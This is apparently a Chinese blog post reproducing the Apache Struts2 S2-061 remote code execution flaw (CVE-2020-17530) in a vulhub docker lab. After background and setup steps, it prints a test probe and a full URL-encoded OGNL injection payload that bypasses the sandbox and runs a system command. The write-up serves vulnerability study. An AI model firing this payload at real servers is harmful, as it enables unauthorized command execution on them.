Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现

Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)复现

0x00 漏洞介绍

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

image-20211018110221466

0x01 漏洞概述

Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,可能照成控制服务器等危害。S2-061是对S2-059沙盒进行的绕过

0x02 影响范围

Apache Struts 2.0.0-2.5.25

0x03 环境搭建

  1. s2-061漏洞搭建漏洞环境较为复杂而本次漏洞是对S2-059漏洞修复后的绕过,所以这里使用vluhub中的docker环境进行搭建,下载最新的vluhub,vluhub下载地址:https://github.com/vulhub/vulhub

  2. 因为使用docker搭建,在虚拟机中需要安装docker以及安装docker-compose命令,安装方法请自行百度安装

  3. vulhub下载完成后传入虚拟机解压进入s2-061

    cd vulhub/struts2/s2-061

    image-20211018113428934
  4. 进入目录后使用docker-compose up -d 启动漏洞环境

    image-20211018114127664
  5. 在浏览器访问目标地址:http://192.168.87.128:8080

    image-20211018114536121

0x04 漏洞复现

  1. 在url处使用一下payload验证漏洞是否存在。注:需要使用url编码,在查看元素查看结果

?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d

image-20211018115035363
  1. 方法一,可以看到执行相加,这里直接构造payload执行命令

    ?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

    image-20211018115544962

posted @ 2021-11-10 22:02  7omss  阅读(116)  评论(0编辑  收藏  举报